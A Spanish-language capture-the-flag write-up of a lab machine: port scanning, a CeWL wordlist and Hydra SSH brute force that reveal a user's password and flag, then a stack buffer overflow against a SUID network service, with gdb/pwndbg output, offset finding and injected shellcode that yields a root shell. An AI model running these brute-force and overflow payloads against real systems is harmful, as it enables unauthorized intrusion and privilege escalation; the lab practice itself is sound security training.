Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap-p---open-sS--min-rate5000-vvv-n-Pn<IP>
nmap-sCV-p<PORTS><IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-23 06:49 EST
Nmap scan report for 172.17.0.3
Host is up (0.000044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 66:a8:c9:41:2e:c3:e1:07:64:ed:ee:ae:e6:51:62:47 (ECDSA)
|_ 256 8e:0e:15:2f:87:76:09:78:ee:e1:0c:49:18:24:3b:a2 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Sender - La Herramienta de Conexi\xC3\xB3n Definitiva
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:03 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.54 seconds
Si nos metemos en la pagina veremos una pagina normal y corriente en el que podemos descargar lo que parece ser una herramienta que esta proporcionando el servidor victima, si nos la descargamos dandole al boton y la intentamos ejecutar...
chmod+xsender./sender
Info:
Uso: ./sender <IP> <PUERTO>
Por lo que vemos necesitamos la IP que seria la de la maquina victima, pero el puerto aparentemente todavia no le sabemos, ya que parece ser que se puede enviar algun tipo de informacion a dicho puerto el cual todavia no sabemos, por lo que seguiremos investigando.
Escalate user alex
cewl
Si investigamos en la pagina vemos 3 posibles usuarios que estan encima del footer que srian los siguientes:
users.txt
juan
marta
alex
Por lo que vamos a crearnos un diccionario de usuarios con esos 3 y vamos a generar un diccionario de contraseñas de las palabras que se puedan encontrar en la pagina web de la siguienet forma:
cewlhttp://<IP>/-wdic.txt
Info:
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
Esto nos habra generado un diccionario de palabras de la pagina web, por lo que ahora utilizaremos hydra para saber si alguno de los usuarios de la lista tuviera alguna contraseña debil.
Hydra
hydra-Lusers.txt-Pdic.txtssh://<IP>-t64
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-23 06:57:18
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 327 login tries (l:3/p:109), ~6 tries per task
[DATA] attacking ssh://172.17.0.3:22/
[22][ssh] host: 172.17.0.3 login: alex password: emfUa
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-23 06:57:55
Por lo que vemos hemos sacados las credenciales del usuario alex, por lo que nos conectaremos por ssh.
SSH
sshalex@<IP>
Metemos como contraseña emfUa y estaremos dentro, leeremos la flag del usuario.
user.txt
8d32849a53e71168af4cf5d7d03c8c53
Escalate Privileges
Si listamos los archivos vemos que tenemos un archivo llamado server el cual tiene permisos SUID y si lo ejecutamos veremos lo siguiente:
./server
Info:
Servidor escuchando en el puerto 7777...
Por lo que se ve, esta escuchando por el puerto 7777 por lo que ya tenemos un vector de ataque con el otro archivo que nos descargamos anteriormente llamado sender, probaremos a ejecutar en nuestro host el archivo sender pasandole como puerto el 7777 y ver que recibe el server:
./sender<IP>7777
Info:
Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: test
Datos enviados: test
Y ahora si nos vamos a donde estaba escuchando el server veremos lo siguiente:
Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:43062
Datos recibidos: test
Procesado: test
Por lo que vemos lo recibe bien, ahora vamos a probar a pasarle muchos caracteres para ver si es vulnerable a un Buffer Overflow:
./sender<IP>7777
Info:
Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Datos enviados: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Y ahora si nos vamos a donde estaba escuchando el server veremos lo siguiente:
Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:35152
Datos recibidos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Procesado: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
Vemos que si, ya que nos pone Segmentation fault, por lo que vamos a realizar ingenieria inversa sobre el binario server, pero antes si leemos la nota que encontramos en el /opt llamada note.txt veremos lo siguiente:
cat/opt/note.txt
Info:
Alex, we have a problem with the "server" application, several users are reporting to us that it does not work very well when you try to send a message.
very long, cybersecurity people have detected that the "server" application has a vulnerability, correct it right now with "gdb", you have it installed.
Por lo que vemos nos confirma que tenemos gdb en el servidor victima, por lo que podremos abrir el gdb en dicha maquina, pero antes le vamos a pasar una extension para que se nos abra el gdb con pwndbg.
Ingenieria inversa (server)
Instalacion de GDB con PEDA/GDB con pwndbg
Lo que primero tendremos que hacer sera lo siguiente:
Y si iniciamos el programa con GDB pasandole como parametro el programa, se nos pondra el gdb-peda...
gdb./command_exec
Pero si diera error por las versiones, podremos instalar esta otra herramienta que es mas poderosa:
host
gitclonehttps://github.com/pwndbg/pwndbg
zip-rpwndbg.zippwndbg/python3-mhttp.server
maquina victima
wgethttp://<IP>:8000/pwndbg.zipunzippwndbg.zip
Ahora vamos hacer que el gdb se inicie desde el gdbinit.py
nano~/.gdbinit#Dentro del nanosource/home/alex/pwndbg/gdbinit.py
Lo guardamos y si iniciamos gdb veremos lo siguiente:
gdb-q./server
Info:
pwndbg: loaded 176 pwndbg commands and 40 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from ./server...
This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in ./server)
------- tip of the day (disable with set show-tips off) -------
Use GDB's dprintf command to print all calls to given function. E.g. dprintf malloc, "malloc(%p)\n", (void*)$rdi will print all malloc calls
pwndbg>
Comprobacion de desbordamiento de Buffer
En el host, generamos una cadena de caracteres diseñada para intentar desbordar el buffer de la aplicación. Esto se logra con la herramienta pattern_create.rb:
Este patrón se usará como entrada en la aplicación para identificar cómo se maneja el buffer.
Ahora llendonos al GDB tendremos que ejecutar run.
Y en nuestro host con el binario sender tendremos que enviar todos estos caracteres:
./sender<IP>7777
Info:
Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
Datos enviados: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
Si nos vamos al gdb veremos lo siguiente:
Starting program: /home/alex/server
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:34782
Datos recibidos: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
Procesado: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────
EAX 0x19d
EBX 0x33634132 ('2Ac3')
ECX 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0x87de
EBP 0x41346341 ('Ac4A')
ESP 0xffffd2e0 ◂— 0x37634136 ('6Ac7')
EIP 0x63413563 ('c5Ac')
─────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────
Invalid address 0x63413563
──────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd2e0 ◂— 0x37634136 ('6Ac7')
01:0004│ 0xffffd2e4 ◂— 0x41386341 ('Ac8A')
02:0008│ 0xffffd2e8 ◂— 0x64413963 ('c9Ad')
03:000c│ 0xffffd2ec ◂— 0x31644130 ('0Ad1')
04:0010│ 0xffffd2f0 ◂— 0x41326441 ('Ad2A')
05:0014│ 0xffffd2f4 ◂— 0x64413364 ('d3Ad')
06:0018│ 0xffffd2f8 ◂— 0x35644134 ('4Ad5')
07:001c│ 0xffffd2fc ◂— 0x41366441 ('Ad6A')
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
► 0 0x63413563 None
1 0x37634136 None
2 0x41386341 None
3 0x64413963 None
4 0x31644130 None
5 0x41326441 None
6 0x64413364 None
7 0x35644134 None
──────────────────────────────────────────────────────────────────────────────
Estamos detectando que lo primero la aplicacion es de 32 bits ya que tiene EIP y que identificamos el EIP con la siguiente direccion de memoria:
0x63413563
Por lo que vamos a identificar su offset.
Identificación del Offset
Para determinar el desplazamiento exacto (offset) donde ocurre la sobrescritura, usamos pattern_offset.rb, proporcionando la dirección en hexadecimal obtenida del EIP:
Por lo que vamos a hacerlo un poco mas automatico con python2 y enviar comandos de una sola vez, vamos a ver si realmente se llena de B(42) el EIP de la siguiente forma.
Vamos a poner run en el gdb para que este a la escucha el server y en nuestro host pondremos lo siguiente.
Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: Datos enviados: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Si ahora nos vamos al gdb veremos lo siguiente:
Starting program: /home/alex/server
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:41490
Datos recibidos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Procesado: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────
EAX 0x5d
EBX 0x41414141 ('AAAA')
ECX 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0xa212
EBP 0x41414141 ('AAAA')
ESP 0xffffd2e0 —▸ 0xffff000a ◂— 0
EIP 0x42424242 ('BBBB')
─────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────
Invalid address 0x42424242
──────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd2e0 —▸ 0xffff000a ◂— 0
01:0004│ 0xffffd2e4 —▸ 0xffffd2f4 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB\n'
02:0008│ 0xffffd2e8 ◂— 0x200
03:000c│ 0xffffd2ec ◂— 0
04:0010│ 0xffffd2f0 ◂— 0
05:0014│ 0xffffd2f4 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB\n'
... ↓ 2 skipped
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
► 0 0x42424242 None
1 0xffff000a None
──────────────────────────────────────────────────────────────────────────────
Vemos que estamos llenando de forma correcta el EIP, por lo que ahora vamos a llenar lo que haya despues del EIP para determinar alguna direccion de memoria en la que poder inyectarle un shell_code.
Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: Datos enviados: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Si nos vamos al gdb veremos lo siguiente:
Starting program: /home/alex/server
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:33584
Datos recibidos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Procesado: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────
EAX 0x189
EBX 0x41414141 ('AAAA')
ECX 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0x8330
EBP 0x41414141 ('AAAA')
ESP 0xffffd2e0 ◂— 0x43434343 ('CCCC')
EIP 0x42424242 ('BBBB')
─────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────
Invalid address 0x42424242
──────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd2e0 ◂— 0x43434343 ('CCCC')
... ↓ 7 skipped
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
► 0 0x42424242 None
1 0x43434343 None
2 0x43434343 None
3 0x43434343 None
4 0x43434343 None
5 0x43434343 None
6 0x43434343 None
7 0x43434343 None
────────────────────────────────────────────────────────────────────────────
Por lo que vemos las C se estan poniendo bien, por lo que ahora vamos a ver cuales son las direcciones de memoria en las cuales se estan inyectando esas C para coger una la cual en vez de inyectarle una C le inyectaremos una shell.
Vemos que alguna de estas direcciones de memoria es en la que vamos a poder inyectar la shell por lo que vamos a elegir una de forma aleatoria que este por el medio, en mi caso elegire la siguiente:
0xffffd3b0
Ahora vamos a crearnos una shell inyectandola en esta direccion de memoria, por lo que nos dara una shell como root ya que el binario esta con permisos SUID y se estaria ejecutando como root.
Vamos a salirnos del gdb e iniciar el binario server de forma normal:
Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: Datos enviados: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������j
X�Rfh-p��Rjhh/bash/bin��RQS��
Y si nos vamos donde teniamos el binario server escuchando, veremos que hemos obtenido una shell como el usuario root:
Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:53472
Datos recibidos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������j
X�Rfh-p��Rjhh/bash/bin��RQS��
Procesado: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������j
X�Rfh-p��Rjhh/bash/bin��RQS��
bash-5.2# whoami
root